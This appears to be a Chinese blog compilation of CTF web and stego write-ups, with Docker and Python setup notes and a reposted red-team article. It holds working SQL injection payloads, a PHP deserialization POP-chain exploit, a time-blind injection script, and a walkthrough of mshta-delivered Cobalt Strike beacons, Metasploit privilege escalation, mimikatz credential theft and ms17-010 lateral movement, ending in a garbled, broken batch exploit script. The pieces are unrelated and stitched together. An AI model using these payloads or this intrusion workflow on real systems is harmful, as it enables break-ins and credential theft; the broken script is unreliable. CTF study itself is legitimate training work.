考点:group by绕过


又是一个登录框,点击取消可以获得源码

<?php
        $flag=””;
        function replaceSpecialChar($strParam){
             $regex = “/(select|from|where|join|sleep|and|\s|union|,)/i”;
             return preg_replace($regex,””,$strParam);
        }
        if (!$con)
        {
            die(‘Could not connect: ‘ . mysqli_error());
        }
        if(strlen($username)!=strlen(replaceSpecialChar($username))){
            die(“sql inject error”);
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die(“sql inject error”);
        }
        $sql=”select * from user where username = ‘$username'”;
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
                    while($row=mysqli_fetch_assoc($result)){
                        if($password==$row[‘password’]){
                            echo “登陆成功<br>”;
                            echo $flag;
                        }

                     }
            }
    ?>

如果只是前面的正则我们可以用双写绕过,但是下面的 replaceSpecialChar 会一一次性替换所有指定字符文本

所以这里我们学习两个mysql语句

①group by(将结果集中的数据行根据选择列的值进行逻辑分组)

不加group by时的输出如下:

在使用group by以后会按照password中的值进行排列:

②with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
来看实例:

结果中将会多出一行,其中password列为null,count(*)为统计和。
这里我们就可以通过骚姿势绕过了。
其中/**/是为了绕过空格过滤
payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']的限制成功登陆。
登录成功即可显示flag。

考点:密码处md5过滤

尝试各种万能密码后无果,扫描后台得到index.phps,看到源码

<?php
        $flag=””;
        $password=$_POST[‘password’];
        if(strlen($password)>10){
            die(“password error”);
        }
        $sql=”select * from user where username =’admin’ and password ='”.md5($password,true).”‘”;
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
                    while($row=mysqli_fetch_assoc($result)){
                         echo “登陆成功<br>”;
                         echo $flag;
                     }
            }
    ?>

我们可以看到密码的位置用md5加密,而第二个参数有以下可选项:
TRUE – 原始 16 字符二进制格式
FALSE – 默认。32 字符十六进制数

所以只要md5加密后的16进制转化为二进制时有 ‘or’xxxx,即可构成闭合语句: username ='admin' and password =''or 'xxxxx' 成功登陆
这里给出两个符合的字符串
ffifdyop
129581926211651571912466741651878684928
但题目有长度限制,所以密码处输入ffifdyop即可获取flag

考点:pyc隐写,文件隐藏,脚本编写

文件内容

__pyache__中是

联想到pyc隐写,首先祭出Easy Python Decompiler v1.3.2发现反编译失败,没有得到源码,好像它只支持python2的反编译,然后再祭出我们的神器Stegosaurus,关于它的使用与下载参看大佬博客https://www.cnblogs.com/ECJTUACM-873284962/p/10041534.html,然后解密我们得到隐藏信息是AES的密钥说明一定有AES的密文会给我们。

接下来我们在resource文件夹中找到一张扫雷.png的图片,手动改后缀变为zip,或者用kali里的binwalk,foremost对文件隐藏内容进行分离。得到zip中包含的secret.txt,该txt文件里便是AES密文,利用在线解密,解得如下内容

这里只放部分了,看最后的几位将其每两位倒放过来就是压缩包文件的十六进制开头,因此我们编写脚本使其正序。

首先将文本复制粘贴到winhex中,保存为1flag.zip文件,脚本如下。

f=open(r’1flag.zip’,’rb’)
b=open(r’flag.zip’,’wb’)
R=f.read()[::-1]
b.write(R)

打开flag.zip看到wav文件

这里用音频软件让其倒放听出flag,这个我实在有点无语,不乐意找此类音频软件了,网上一搜就有,感觉没啥值得学习的意义。

考点: 0ok!解密,压缩包爆破,伪加密,明文攻击,LSB隐写,猪圈密码,与佛伦禅,标准银河字母,gif时间隐写, NTFS数据流隐写 ,摩斯密码,标准银河密码

1

1.txt中有0Ok密码,利用在线网站解密得到下一个压缩包密码:

https://www.splitbrain.org/services/ook

然后用winhex打开png图片在末尾处得到第一部分的part1:068c

2

txt中没啥有用信息,在jpeg的属性中找到part2:555b

利用ARCHPR对压缩包爆破得到密码3302

3

看到txt文本中内容

恭喜你骑上了小黄车(不嫌累嘛
边上那个膜拜电单车不香嘛?
(强制换乘膜拜有气嘛?hhh
emmm 怎么打开他呢,好像也没锁好?虚张声势?纸糊的?

很明显是伪加密,winhex修改或者 使用工具ZipCenOp.jar破解

利用stegsolve,lsb隐写查看得到part3:578b

4

hint.png给出了一个加密方式用winrar加密,在看5.zip中同样包含一个4.jpg的加密文件,想到明文攻击,对4.jpg用winrar加密成zip文件,利用ARCHPR进行明文攻击

这里解不出密码,但是可以读取到文件内容,生成一个zip包

然后利用winhex修改连环画图片的高度得到part4:0eae

5

jpg文件中是猪圈密码,解密得到6.zip的密码 fojiajielv

连环画文件夹中是一大堆乱序图片,我们以时间日期拍个续就可以看到大致样子

放到PS中或以肉眼识别可以看到part5:9d4b

6

剧情txt中提示与佛伦产了,6.txt中存在佛语密码,到在线网站解密,得到7.zip密码

jpg文件的十六进制结尾有摩斯密码,解密得到part6:e52bd67

7

7.png是标准银河字母,在线搜索对应即可得到8.zip密码:yinhezm

gif考的是gif的时间隐写,在kali中

identify -verbose 7连环画.gif |grep Delay,可以看到许多10和20

identify -format "%T" 7连环画.gif

得到10202020101010101020201010101020102020201010201010202020102010101010202010202020101020202010201010102020102020101010202010101020101020201020102010102020102020101010202010102010

把20变成1,10变成0

0111000001100001011100100111010000110111001110100011011000110001001101010011011000110010

转成ascii码即可可以每8位转成16进制数字,在进行转asciipart7:61562

至此所有part都得到了用得到的所有part拼接到一起组成一个32位密码,打开9.rar

9剧情.txt中提示.取到经文 原路返回,龟丞相一不高兴,小童鞋掉进水里,出水一看,NT和FA给的经文是空白的??知道是NTFS隐写

使用工具lads.exe或者使用NTFSstreameditor2

lads.exe /S对这个目录文件进行检索

查看flag.txtnotepad 9.txt:flag.txt

最后得到flag

考点:反序列化字符逃逸

学习前提掌握知识:php面向对象部分,序列化,反序列化

访问页面后是一个登录页面,url处有一个极其像文件包含的点,当时就尝试了很多,发现并不是,登录处又尝试了很多万能密码,对注入点测试也已失败告终。

接下来对目录扫描,得到www.zip,访问下载得到源码

update.php:

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
?>

login.php:

<?php 
$user=new user();
if(isset($_POST['username'])){
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
		die("<br>Damn you, hacker!");
	}
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
		die("Damn you, hacker!");
	}
	$user->login();
}
?>

lib.php (这个是最主要的)

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;  
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="noob123";
    public $dbpass="noob123";
    public $database="noob123";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

首先先定位unserialize关键词,在lib.php的user类中找到

接着跟进getNewinfo()函数,首先看到age,个nickname的值可以通过post请求可控,然后我们看到其将Info对象序列化后经过safe()函数处理返回给上图的update()进行反序列化

接着跟进safe()函数:

我们可以看到safe函数的作用就是将关键词过滤称hacker,这就导致长度发生变化(变长),因此为字符逃逸提供了可能。

接下来简单理解下php反序列导致字符串逃逸的原理

可以看到过滤的字符中有6位的也有4位的,而过滤为的hacker确实6位的,那就意味着当我们输入的字符串中出现上述过滤的四位的字符时就会发生长度变化。 举个例子,$a = array(‘union’)序列化后的字符串为‘a:1{i:0;s:5:”union”;}’,这串字符串在经过过滤函数替换操作后变成了‘a:1{i:0;s:6:”hacker”;}’,这会导致在反序列化时‘hacker’的最后一个字母‘r’读不到,从而导致出错。 于是我们可以利用这点,构造一定量的‘union’字符加上序列化控制符号覆盖掉其后的字符串,使得反序列化后的值为我们所控。

接下来我们看下哪里调用了update()进行反序列化,然后我们在update.php中看到它包含了lib.php所以拥有lib.php中的函数,同时它实例化了User()类并指向该类下的update()方法,调用反序列化,并且看到登录成功给flag。

继续跟进User对象,可以看到__toString()魔术方法:

来到UpdateHelper类,发现会把sql给echo()出来,因此如果$sql = new User()的话,就会触发User内的__toString()魔术方法去调用update()方法。

返回lib.php跟进Info类可以看到Info类中有__call魔术方法,该方法是如果调用了一个不存在的属性就会触发, 正好Info类没有update()方法

这里的login是在下面dbCtrl类中的一个方法,因此如果User内的$nickname实例化为Info对象,调用不存在的update()就会触发这个__Call(),再将Ctrlcase实例化成dbCtrl的对象,这个__Call()魔术方法就会将Ctrlcaselogin()函数结果输出出来:

接下来跟进 dbCtrl 类中的login方法,发现会将结果输出

因此弄明白POP链的关系,我们进行构造exp

 <?php
class User
{
    public $age= 'select password,id from user where username=?'; //要把id放password后面,为了后面先读取出password的值
    public $nickname=null;
}

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
}

class UpdateHelper
{
    public $sql;
}

class dbCtrl
{
    public $hostname = "127.0.0.1";
    public $dbuser="noob123";
    public $dbpass="noob123";
    public $database="noob123";
    public $name='admin';//目的获得admin的密码
    public $token = 'admin';//login方法中要求为admin
}

$y1ng = new UpdateHelper();//为了触发__tostring魔术方法的准备
$y1ng->sql = new User();//触发__tostring魔术方法
$y1ng->sql->nickname = new Info();//为了触发__call魔术方法做准备(调用update()方法)
$y1ng->sql->nickname->CtrlCase = new dbCtrl();//为了指向dbCtrl类中的login方法
//反序列化字符串逃逸构造
$y1ng = '";s:8:"CtrlCase";' . serialize($y1ng) . "}";
$length = strlen($y1ng);//382
$y1ng = str_repeat('union', $length).$y1ng;//382个union
echo($y1ng); 

​接下来看下反序列化字符串逃逸部分之前先学下下反序列化的特点:

https://www.andseclab.com/2020/01/28/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E7%AC%A6%E9%80%83%E9%80%B8/参考大佬博客的特点1和2
反序列化的识别是以”开始后第一个字符到”;结束,而看这题的构造我对最后的理解是union会被过滤成hacker为了保证后面构造的字符能够逃逸出去,在反序列化后对原来的内容进行重新覆盖,需要对后面的序列化后长度进行统计,同时在逃逸后对CtrlCase进行序列化重写。统计这些字符的长度,用同样个数的union进行代替,因为每个union会逃逸出一个字符。(这块理解有些不到位,日后补充修改)

最后在update.php中post传入 age=123&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:5:"token";s:5:"admin";}}}}}

得到登陆页面密码得md5,解码后得到登陆密码,返回登陆页面输入用户名admin和刚刚解出来得密码,登录得到flag

考点:时间盲注,过滤“=,like”,用regexp绕过

拿到题目,给出源码可以审计,看到flag在fl4g表中,又看到include 了一个waf文件,说明有过滤,因此我们首先fuzz出过滤了哪些关键字

手动fuzz在id=后面修改关键字,如果被过滤页面返回空,没被过滤正常回显代码http://eb1fbd8a51ca47049cf0cf0715c72cad988d15a52911454f.changame.ichunqiu.com/?id=union

不断fuzz尝试后发现过滤了’ union select < > = like

发现不仅过滤了=,又过滤了like,那么我们可以想到用regexp代替

前提学习下regexp用法:

用法介绍:select user() regexp “^[a-z]”;

首先查询当前用户,可以看到是root@localhost

接下来我们使用regexp语法进行查询

我们可以看到,这样不对位数做限制,只要按顺序存在对应字母,就会返回1,否则为0。

因此我们可以搭配if语句对数据库中信息进行查询。

这里注意regexp不能搭配limit使用,只是对内容进行提取。

like的用法与其类似 select user() like “ro%”;

接下来回到题目中

因为题目告诉flag在fl4g那个表中,所以我们猜测第一个字符是f,如果是的话延时3秒返回代码页面

?id=-1 or if((substr((fl4g),1,1) regexp “^f”), sleep(3),1)

测试成功,延时3秒,接下来写个脚本

import requests
import time

url = "http://8aa7aedeb17d45a28ac9dc0295992849b9dea7963da2471d.changame.ichunqiu.com/?id=-1"
alphabet = ['?','!',',','|','[',']','{','}','_','/','*','-','+','&',"%",'#','@','$','~','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

target = 'fl4g'
result = ''
for i in range (1,33):
    for char in alphabet:
        # 设置payload
        payload =' or if((substr(({}),{},1) regexp "^{}"),sleep(3),1)'.format(target, i, char)
        print(payload)
        # 计算响应时长
        start = int(time.time())
        r = requests.get(url+payload)
        response_time = int(time.time()) - start

        if response_time >= 2:
            result += char
            print('Found: {}'.format(result))
            break

​最后获得flag

考点:堆叠注入,handler用法

首先使用堆叠语法可以看到包含两个表,此题是在强网杯的随便注上进行的改编,多过了一些字符,当进行fuzz测试时可以看到过滤语句

1′;show columns from FlagHere;#

到此智能看到字段中内容,强网杯中那道随便注的绕过方法全被过滤了,那题可在buu上找到复现环境,接下来介绍一种新的绕过方式handler

payload:1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;

接下来我们学习以下handler的操作。

handler的语法:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

使用某个表的前提必须先open,才可以进行read,最后要进行close

我们本地演示一下,进入mysql的命令行状态

首先可以看到我们的数据库中的库,表信息,接下来查看users表中的所有信息

我们使用handler对users表中数据进行查询,这里注意仔细对照前面的语法。

最后记得将其关闭。

1、安装 Docker

# 安装依赖
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
# 添加docker下载仓库
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
# 安装docker-ce
sudo yum install -y docker-ce
# 启动docker-ce
sudo systemctl start docker
# 验证
sudo docker --version
sudo docker run hello-world
图1

出现图1所示,Docker启动成功。

2、安装 docker-compose

sudo curl -L "https://github.com/docker/compose/releases/download/1.23.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

sudo chmod +x /usr/local/bin/docker-compose

docker-compose --version

【以下文章来源于公众号:远洋的小船 、作者:远洋的小船】
https://mp.weixin.qq.com/s/b8joRLDUrxXP79oRuYZcmA

以下内容与测试工具仅限技术交流,严禁用于非法攻击

0X00 前言:
对于红队队员来说,打点之后最重要的就是横向的内网渗透了,但很多人都卡在了这一步,今天这篇文章就主要讲一讲cobaltstrike和msf的联动,内网渗透的一些小思路,以及我遇到的一些msf和cs的坑

0X01 从SQL注入到CS上线SQL注入方面就不详细赘述了,相信大家都很了解,目标站存在一个POST型的注入,且为SA用户,MSSQL的数据库,所以我们呢就可以直接进行–OS-SHELL

我们先在cs建立一个监听,这里我选用的payload是Windows/beacon_http/reverse_http,host填写vps地址,端口随便定义

下一步就是生成一个HTML木马,ATTacks-packages-HTML我们选择刚才新建的那个监听,然后选择方法powershell

之后就是选择你刚刚生成的木马,在你的vps上建立一个下载链接

在目标机器上通过mshta执行

然后这时候我们就会看到我们的CS里多出了一个目标

但是这个时候我们发现这个机器的权限是MSSQLSERVER,这对于我们来说是远远不够的,这个时候我们就要进行提权操作,CS中自带了几个提权的脚本,你也可以通过插件来获取其他提权脚本,但是我用CS的脚本进行提权都以失败告终,所以我需要把这个session传输到MSF里面0X02 CS和MSF的session的互传

这一步是走向内网的第一步,也可以说是打点渗透的最后一步,可以说是非常重要的了,我们首先需要在CS中建立一个全新的监听,以便于session的传输

这个监听的payload要选择Windows/foreign/reverse_tcp,HOST填写你的vps,port随意

这里我的msf装在了vps上,所以我们打开vps,新建一个screen,运行msf,然后选择exploit/multi/handler之后我们设置payload,设置成和cs对应的如图所示

之后就是设置LHOST和LPORT,由于我的CS监听设置的地址就是vps的地址,所以我们在vps上监听0.0.0.0就可以,然后lport写刚刚你在cs上设置的port,一切设置完成我们先在msf上run起来,之后在cs上选择刚刚上线的机器,在beaconshell中输入spawn+刚刚你设置的msf监听名字就可以了,过一会儿我们就能看到msf中有机器上线

下一步就是利用msf提权,这里我们先把这个session放到后台,用bg命令就可以

之后我们用这个插件 post/multi/recon/local_exploit_suggester,进去之后我们set session * *就是刚刚你msf监听到的那个session的序号,这个插件就会自动检测目标系统版本以及可以利用的提权脚本,我们运行一下试试

可以看到,这些脚本就是可用的,这里我用了最后一个ms16-075这个漏洞

可以看到,提权成功,返回了一个新的system权限的session,下面我们尝试通过msf把这个session注入回到cs中       使用exploit/windows/local/payload_inject

把payload设置成我们cs建立的第一个监听的payload即windows/meterpreter/reverse_http

然后设置host,port以及要传回去的session

run

我们可以看到CS上返回了一个system权限的shell

这个时候我们就可以愉快的使用mimikatz等工具来把administrator的密码偷来

但是有的机器改了RDP服务的端口怎么办呢,我们可以用cs的进程管理,找到rdp服务的PID,然后在beacon中输入powershell netstat -ano,就可以找到这个PID对应的端口了

0X03 内网渗透的一些思路

我们拿到了一台机器,如何进行下一步的内网嗅探呢,cs中自带了一个portscan,当然你也可以通过socks把nmap,msf之类的带入到内网,这里我们就用cs自带的工具

我们可以看到他的内网比较简单,我进去转了一圈发现也只有一些打印机,路由器,还有一个oracle,我们通过受害机的浏览器中保存的密码进入到了其中,新建项目即可传war包,上传jsp木马,还有就是剩下几台445的windows主机了,由于我比较懒,就不把msf带入了,直接传一个ms17010的利用工具

至此,内网全部主机沦陷,打完收工,内网方面错综复杂,大家可以注意一些未授权访问啊,弱口令啊,浏览器保存的密码啊,整理出属于这个网段的密码字典,然后密码复用,细心总会有意外惊喜

最后,贴上一个自己写的ms17010批量工具,是刚刚利用的时候突发奇想写的,还没调试,希望各位大佬不要笑话,有时间帮小弟调试修改一下,在这里给大家磕头了

import sysimport osfor a in range (0,256):    a = str(a)    ip = "xx.xx.xx.""+a+"    def ms(config):        config=open('ms17010.rc','w')        config.write('use exploit/windows/smb/ms17_010_eternalblue'+"\n")        config.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp'+"\n")        config.write('set RHOST '+ip+"\n")        config.write('set LHOST "445"\n')        config.write('exploit'+"\n")    ms('')def main():    mg=os.system('msfconsole -r /root/ms17010.rc')if __name__ == '__main__':    main()

前提有python2,这个不要删,我们再装一个python3

首先安装依赖包

yum -y groupinstall "Development tools"
yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel

创建Python目录

mkdir python3
cd python3/

下载Python3.7.4

wget https://www.python.org/ftp/python/3.7.4/Python-3.7.4.tar.xz

然后解压压缩包,进入该目录,安装Python3

xz -d Python-3.7.4.tar.xz 
tar xvf Python-3.7.4.tar
cd Python-3.7.4/
./configure --prefix=/python3(这里是之前我在/目录下创建了一个python3目录)
make && make install

安装成功。创建软链

ln -s /python3/bin/python3 /usr/bin/python3
ln -s /python3/bin/pip3 /usr/bin/pip3

完成